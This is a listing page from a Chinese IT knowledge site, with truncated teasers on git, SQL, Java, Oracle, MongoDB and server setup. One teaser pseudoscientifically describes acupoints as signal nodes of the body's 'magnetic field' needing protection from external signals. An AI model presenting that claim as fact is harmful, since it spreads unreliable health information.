href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a> <div>在网上找了很多教程都无法解决,最后用了一行命令成功解决gitconfig--globalurl."https://github.com".insteadOfgit://github.com输入这行命令,之后就可以使用gitclone了</div> </li> <li><a href="/article/1891065925759725568.htm" title="学习使用Elm架构的JavaScript项目" target="_blank">学习使用Elm架构的JavaScript项目</a> <span class="text-muted">陈昊和</span> <div>学习使用Elm架构的JavaScript项目learn-elm-architecture-in-javascript:unicorn:LearnhowtobuildwebappsusingtheElmArchitecturein"vanilla"JavaScript(step-by-stepTDDtutorial)!项目地址:https://gitcode.com/gh_mirrors/le/le</div> </li> <li><a href="/article/1891065926242070528.htm" title="学习Elm架构在JavaScript中的应用" target="_blank">学习Elm架构在JavaScript中的应用</a> <span class="text-muted">萧书泓</span> <div>学习Elm架构在JavaScript中的应用learn-elm-architecture-in-javascript:unicorn:LearnhowtobuildwebappsusingtheElmArchitecturein"vanilla"JavaScript(step-by-stepTDDtutorial)!项目地址:https://gitcode.com/gh_mirrors/le/le</div> </li> <li><a href="/article/102.htm" title="xml解析" target="_blank">xml解析</a> <span class="text-muted">小猪猪08</span> <a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a> <div>1、DOM解析的步奏 准备工作:    1.创建DocumentBuilderFactory的对象    2.创建DocumentBuilder对象    3.通过DocumentBuilder对象的parse(String fileName)方法解析xml文件    4.通过Document的getElem</div> </li> <li><a href="/article/229.htm" title="每个开发人员都需要了解的一个SQL技巧" target="_blank">每个开发人员都需要了解的一个SQL技巧</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/linux%E8%A7%86%E9%A2%91/1.htm">linux视频</a><a class="tag" taget="_blank" href="/search/linux%E6%95%99%E7%A8%8B/1.htm">linux教程</a><a class="tag" taget="_blank" href="/search/linux%E8%87%AA%E5%AD%A6/1.htm">linux自学</a><a class="tag" taget="_blank" href="/search/linux%E8%B5%84%E6%96%99/1.htm">linux资料</a> <div>  对于数据过滤而言CHECK约束已经算是相当不错了。然而它仍存在一些缺陷,比如说它们是应用到表上面的,但有的时候你可能希望指定一条约束,而它只在特定条件下才生效。 使用SQL标准的WITH CHECK OPTION子句就能完成这点,至少Oracle和SQL Server都实现了这个功能。下面是实现方式: CREATE TABLE books (   id &</div> </li> <li><a href="/article/356.htm" title="Quartz——CronTrigger触发器" target="_blank">Quartz——CronTrigger触发器</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" href="/search/quartz/1.htm">quartz</a><a class="tag" taget="_blank" href="/search/CronTrigger/1.htm">CronTrigger</a> <div>转载请出自出处:http://eksliang.iteye.com/blog/2208295 一.概述 CronTrigger 能够提供比 SimpleTrigger 更有具体实际意义的调度方案,调度规则基于 Cron 表达式,CronTrigger 支持日历相关的重复时间间隔(比如每月第一个周一执行),而不是简单的周期时间间隔。 二.Cron表达式介绍 1)Cron表达式规则表 Quartz</div> </li> <li><a href="/article/483.htm" title="Informatica基础" target="_blank">Informatica基础</a> <span class="text-muted">18289753290</span> <a class="tag" taget="_blank" href="/search/Informatica/1.htm">Informatica</a><a class="tag" taget="_blank" href="/search/Monitor/1.htm">Monitor</a><a class="tag" taget="_blank" href="/search/manager/1.htm">manager</a><a class="tag" taget="_blank" href="/search/workflow/1.htm">workflow</a><a class="tag" taget="_blank" href="/search/Designer/1.htm">Designer</a> <div>1. 1)PowerCenter Designer:设计开发环境,定义源及目标数据结构;设计转换规则,生成ETL映射。 2)Workflow  Manager:合理地实现复杂的ETL工作流,基于时间,事件的作业调度 3)Workflow  Monitor:监控Workflow和Session运行情况,生成日志和报告 4)Repository  Manager:</div> </li> <li><a href="/article/610.htm" title="linux下为程序创建启动和关闭的的sh文件,scrapyd为例" target="_blank">linux下为程序创建启动和关闭的的sh文件,scrapyd为例</a> <span class="text-muted">酷的飞上天空</span> <a class="tag" taget="_blank" href="/search/scrapy/1.htm">scrapy</a> <div>对于一些未提供service管理的程序  每次启动和关闭都要加上全部路径,想到可以做一个简单的启动和关闭控制的文件   下面以scrapy启动server为例,文件名为run.sh:   #端口号,根据此端口号确定PID PORT=6800 #启动命令所在目录 HOME='/home/jmscra/scrapy/' #查询出监听了PORT端口</div> </li> <li><a href="/article/737.htm" title="人--自私与无私" target="_blank">人--自私与无私</a> <span class="text-muted">永夜-极光</span> <div>            今天上毛概课,老师提出一个问题--人是自私的还是无私的,根源是什么?               从客观的角度来看,人有自私的行为,也有无私的</div> </li> <li><a href="/article/864.htm" title="Ubuntu安装NS-3 环境脚本" target="_blank">Ubuntu安装NS-3 环境脚本</a> <span class="text-muted">随便小屋</span> <a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a> <div>  将附件下载下来之后解压,将解压后的文件ns3environment.sh复制到下载目录下(其实放在哪里都可以,就是为了和我下面的命令相统一)。输入命令:   sudo ./ns3environment.sh >>result   这样系统就自动安装ns3的环境,运行的结果在result文件中,如果提示     com</div> </li> <li><a href="/article/991.htm" title="创业的简单感受" target="_blank">创业的简单感受</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A%E7%9A%84%E7%AE%80%E5%8D%95%E6%84%9F%E5%8F%97/1.htm">创业的简单感受</a> <div>        2009年11月9日我进入a公司实习,2012年4月26日,我离开a公司,开始自己的创业之旅。      今天是2012年5月30日,我忽然很想谈谈自己创业一个月的感受。 当初离开边锋时,我就对自己说:“自己选择的路,就是跪着也要把他走完”,我也做好了心理准备,准备迎接一次次的困难。我这次走出来,不管成败</div> </li> <li><a href="/article/1118.htm" title="如何经营自己的独立人脉" target="_blank">如何经营自己的独立人脉</a> <span class="text-muted">aoyouzi</span> <a class="tag" taget="_blank" href="/search/%E5%A6%82%E4%BD%95%E7%BB%8F%E8%90%A5%E8%87%AA%E5%B7%B1%E7%9A%84%E7%8B%AC%E7%AB%8B%E4%BA%BA%E8%84%89/1.htm">如何经营自己的独立人脉</a> <div>独立人脉不是父母、亲戚的人脉,而是自己主动投入构造的人脉圈。“放长线,钓大鱼”,先行投入才能产生后续产出。   现在几乎做所有的事情都需要人脉。以银行柜员为例,需要拉储户,而其本质就是社会人脉,就是社交!很多人都说,人脉我不行,因为我爸不行、我妈不行、我姨不行、我舅不行……我谁谁谁都不行,怎么能建立人脉?我这里说的人脉,是你的独立人脉。   以一个普通的银行柜员</div> </li> <li><a href="/article/1245.htm" title="JSP基础" target="_blank">JSP基础</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E9%87%8A/1.htm">注释</a><a class="tag" taget="_blank" href="/search/%E9%9A%90%E5%BC%8F%E5%AF%B9%E8%B1%A1/1.htm">隐式对象</a> <div>  1,JSP语句的声明 <%! 声明 %>    声明:这个就是提供java代码声明变量、方法等的场所。 表达式 <%= 表达式 %>    这个相当于赋值,可以在页面上显示表达式的结果, 程序代码段/小型指令 <% 程序代码片段 %>   2,JSP的注释   <!-- --> </div> </li> <li><a href="/article/1372.htm" title="web.xml之session-config、mime-mapping" target="_blank">web.xml之session-config、mime-mapping</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a><a class="tag" taget="_blank" href="/search/session-config/1.htm">session-config</a><a class="tag" taget="_blank" href="/search/mime-mapping/1.htm">mime-mapping</a> <div>session-config 1.定义: <session-config> <session-timeout>20</session-timeout> </session-config> 2.作用:用于定义整个WEB站点session的有效期限,单位是分钟。   mime-mapping 1.定义: <mime-m</div> </li> <li><a href="/article/1499.htm" title="互联网开放平台(1)" target="_blank">互联网开放平台(1)</a> <span class="text-muted">Bill_chen</span> <a class="tag" taget="_blank" href="/search/%E4%BA%92%E8%81%94%E7%BD%91/1.htm">互联网</a><a class="tag" taget="_blank" href="/search/qq/1.htm">qq</a><a class="tag" taget="_blank" href="/search/%E6%96%B0%E6%B5%AA%E5%BE%AE%E5%8D%9A/1.htm">新浪微博</a><a class="tag" taget="_blank" href="/search/%E7%99%BE%E5%BA%A6/1.htm">百度</a><a class="tag" taget="_blank" href="/search/%E8%85%BE%E8%AE%AF/1.htm">腾讯</a> <div>现在各互联网公司都推出了自己的开放平台供用户创造自己的应用,互联网的开放技术欣欣向荣,自己总结如下: 1.淘宝开放平台(TOP) 网址:http://open.taobao.com/ 依赖淘宝强大的电子商务数据,将淘宝内部业务数据作为API开放出去,同时将外部ISV的应用引入进来。 目前TOP的三条主线: TOP访问网站:open.taobao.com ISV后台:my.open.ta</div> </li> <li><a href="/article/1626.htm" title="【MongoDB学习笔记九】MongoDB索引" target="_blank">【MongoDB学习笔记九】MongoDB索引</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>索引 可以在任意列上建立索引 索引的构造和使用与传统关系型数据库几乎一样,适用于Oracle的索引优化技巧也适用于Mongodb 使用索引可以加快查询,但同时会降低修改,插入等的性能 内嵌文档照样可以建立使用索引 测试数据     var p1 = { "name":"Jack", "age&q</div> </li> <li><a href="/article/1753.htm" title="JDBC常用API之外的总结" target="_blank">JDBC常用API之外的总结</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/jdbc/1.htm">jdbc</a> <div> 做JAVA的人玩JDBC肯定已经很熟练了,像DriverManager、Connection、ResultSet、Statement这些基本类大家肯定很常用啦,我不赘述那些诸如注册JDBC驱动、创建连接、获取数据集的API了,在这我介绍一些写框架时常用的API,大家共同学习吧。     ResultSetMetaData获取ResultSet对象的元数据信息 </div> </li> <li><a href="/article/1880.htm" title="apache VelocityEngine使用记录" target="_blank">apache VelocityEngine使用记录</a> <span class="text-muted">bozch</span> <a class="tag" taget="_blank" href="/search/VelocityEngine/1.htm">VelocityEngine</a> <div>VelocityEngine是一个模板引擎,能够基于模板生成指定的文件代码。   使用方法如下:     VelocityEngine engine = new VelocityEngine();// 定义模板引擎     Properties properties = new Properties();// 模板引擎属</div> </li> <li><a href="/article/2007.htm" title="编程之美-快速找出故障机器" target="_blank">编程之美-快速找出故障机器</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a> <div> package beautyOfCoding; import java.util.Arrays; public class TheLostID { /*编程之美 假设一个机器仅存储一个标号为ID的记录,假设机器总量在10亿以下且ID是小于10亿的整数,假设每份数据保存两个备份,这样就有两个机器存储了同样的数据。 1.假设在某个时间得到一个数据文件ID的列表,是</div> </li> <li><a href="/article/2134.htm" title="关于Java中redirect与forward的区别" target="_blank">关于Java中redirect与forward的区别</a> <span class="text-muted">chenbowen00</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>在Servlet中两种实现: forward方式:request.getRequestDispatcher(“/somePage.jsp”).forward(request, response); redirect方式:response.sendRedirect(“/somePage.jsp”); forward是服务器内部重定向,程序收到请求后重新定向到另一个程序,客户机并不知</div> </li> <li><a href="/article/2261.htm" title="[信号与系统]人体最关键的两个信号节点" target="_blank">[信号与系统]人体最关键的两个信号节点</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F/1.htm">系统</a> <div>         如果把人体看做是一个带生物磁场的导体,那么这个导体有两个很重要的节点,第一个在头部,中医的名称叫做 百汇穴, 另外一个节点在腰部,中医的名称叫做 命门         如果要保护自己的脑部磁场不受到外界有害信号的攻击,最简单的</div> </li> <li><a href="/article/2388.htm" title="oracle 存储过程执行权限" target="_blank">oracle 存储过程执行权限</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">存储过程</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%99%90/1.htm">权限</a><a class="tag" taget="_blank" href="/search/%E6%89%A7%E8%A1%8C%E8%80%85/1.htm">执行者</a><a class="tag" taget="_blank" href="/search/%E8%B0%83%E7%94%A8%E8%80%85/1.htm">调用者</a> <div>在数据库系统中存储过程是必不可少的利器,存储过程是预先编译好的为实现一个复杂功能的一段Sql语句集合。它的优点我就不多说了,说一下我碰到的问题吧。我在项目开发的过程中需要用存储过程来实现一个功能,其中涉及到判断一张表是否已经建立,没有建立就由存储过程来建立这张表。 CREATE OR REPLACE PROCEDURE TestProc  IS    fla</div> </li> <li><a href="/article/2515.htm" title="为mysql数据库建立索引" target="_blank">为mysql数据库建立索引</a> <span class="text-muted">dengkane</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD/1.htm">性能</a><a class="tag" taget="_blank" href="/search/%E7%B4%A2%E5%BC%95/1.htm">索引</a> <div>前些时候,一位颇高级的程序员居然问我什么叫做索引,令我感到十分的惊奇,我想这绝不会是沧海一粟,因为有成千上万的开发者(可能大部分是使用MySQL的)都没有受过有关数据库的正规培训,尽管他们都为客户做过一些开发,但却对如何为数据库建立适当的索引所知较少,因此我起了写一篇相关文章的念头。  最普通的情况,是为出现在where子句的字段建一个索引。为方便讲述,我们先建立一个如下的表。</div> </li> <li><a href="/article/2642.htm" title="学习C语言常见误区 如何看懂一个程序 如何掌握一个程序以及几个小题目示例" target="_blank">学习C语言常见误区 如何看懂一个程序 如何掌握一个程序以及几个小题目示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div>如果看懂一个程序,分三步   1、流程   2、每个语句的功能   3、试数   如何学习一些小算法的程序 尝试自己去编程解决它,大部分人都自己无法解决 如果解决不了就看答案 关键是把答案看懂,这个是要花很大的精力,也是我们学习的重点 看懂之后尝试自己去修改程序,并且知道修改之后程序的不同输出结果的含义 照着答案去敲 调试错误 </div> </li> <li><a href="/article/2769.htm" title="centos6.3安装php5.4报错" target="_blank">centos6.3安装php5.4报错</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/centos6/1.htm">centos6</a> <div>报错内容如下: Resolving Dependencies --> Running transaction check ---> Package php54w.x86_64 0:5.4.38-1.w6 will be installed --> Processing Dependency: php54w-common(x86-64) = 5.4.38-1.w6 for </div> </li> <li><a href="/article/2896.htm" title="JSONP请求" target="_blank">JSONP请求</a> <span class="text-muted">flyer0126</span> <a class="tag" taget="_blank" href="/search/jsonp/1.htm">jsonp</a> <div>      使用jsonp不能发起POST请求。 It is not possible to make a JSONP POST request. JSONP works by creating a <script> tag that executes Javascript from a different domain; it is not pos</div> </li> <li><a href="/article/3023.htm" title="Spring Security(03)——核心类简介" target="_blank">Spring Security(03)——核心类简介</a> <span class="text-muted">234390216</span> <a class="tag" taget="_blank" href="/search/Authentication/1.htm">Authentication</a> <div>核心类简介 目录 1.1     Authentication 1.2     SecurityContextHolder 1.3     AuthenticationManager和AuthenticationProvider 1.3.1  &nb</div> </li> <li><a href="/article/3150.htm" title="在CentOS上部署JAVA服务" target="_blank">在CentOS上部署JAVA服务</a> <span class="text-muted">java--hhf</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a><a class="tag" taget="_blank" href="/search/Java%E6%9C%8D%E5%8A%A1/1.htm">Java服务</a> <div>    本文将介绍如何在CentOS上运行Java Web服务,其中将包括如何搭建JAVA运行环境、如何开启端口号、如何使得服务在命令执行窗口关闭后依旧运行     第一步:卸载旧Linux自带的JDK ①查看本机JDK版本 java -version    结果如下 java version "1.6.0"</div> </li> <li><a href="/article/3277.htm" title="oracle、sqlserver、mysql常用函数对比[to_char、to_number、to_date]" target="_blank">oracle、sqlserver、mysql常用函数对比[to_char、to_number、to_date]</a> <span class="text-muted">ldzyz007</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a> <div>oracle                                &n</div> </li> <li><a href="/article/3404.htm" title="记Protocol Oriented Programming in Swift of WWDC 2015" target="_blank">记Protocol Oriented Programming in Swift of WWDC 2015</a> <span class="text-muted">ningandjin</span> <a class="tag" taget="_blank" href="/search/protocol/1.htm">protocol</a><a class="tag" taget="_blank" href="/search/WWDC+2015/1.htm">WWDC 2015</a><a class="tag" taget="_blank" href="/search/Swift2.0/1.htm">Swift2.0</a> <div>其实最先朋友让我就这个题目写篇文章的时候,我是拒绝的,因为觉得苹果就是在炒冷饭, 把已经流行了数十年的OOP中的“面向接口编程”还拿来讲,看完整个Session之后呢,虽然还是觉得在炒冷饭,但是毕竟还是加了蛋的,有些东西还是值得说说的。 通常谈到面向接口编程,其主要作用是把系统设计和具体实现分离开,让系统的每个部分都可以在不影响别的部分的情况下,改变自身的具体实现。接口的设计就反映了系统</div> </li> <li><a href="/article/3531.htm" title="搭建 CentOS 6 服务器(15) - Keepalived、HAProxy、LVS" target="_blank">搭建 CentOS 6 服务器(15) - Keepalived、HAProxy、LVS</a> <span class="text-muted">rensanning</span> <a class="tag" taget="_blank" href="/search/keepalived/1.htm">keepalived</a> <div>(一)Keepalived (1)安装 # cd /usr/local/src # wget http://www.keepalived.org/software/keepalived-1.2.15.tar.gz # tar zxvf keepalived-1.2.15.tar.gz # cd keepalived-1.2.15 # ./configure # make &a</div> </li> <li><a href="/article/3658.htm" title="ORACLE数据库SCN和时间的互相转换" target="_blank">ORACLE数据库SCN和时间的互相转换</a> <span class="text-muted">tomcat_oracle</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>SCN(System Change Number 简称 SCN)是当Oracle数据库更新后,由DBMS自动维护去累积递增的一个数字,可以理解成ORACLE数据库的时间戳,从ORACLE 10G开始,提供了函数可以实现SCN和时间进行相互转换;    用途:在进行数据库的还原和利用数据库的闪回功能时,进行SCN和时间的转换就变的非常必要了;    操作方法:   1、通过dbms_f</div> </li> <li><a href="/article/3785.htm" title="Spring MVC 方法注解拦截器" target="_blank">Spring MVC 方法注解拦截器</a> <span class="text-muted">xp9802</span> <a class="tag" taget="_blank" href="/search/spring+mvc/1.htm">spring mvc</a> <div>应用场景,在方法级别对本次调用进行鉴权,如api接口中有个用户唯一标示accessToken,对于有accessToken的每次请求可以在方法加一个拦截器,获得本次请求的用户,存放到request或者session域。 python中,之前在python flask中可以使用装饰器来对方法进行预处理,进行权限处理 先看一个实例,使用@access_required拦截: ? </div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>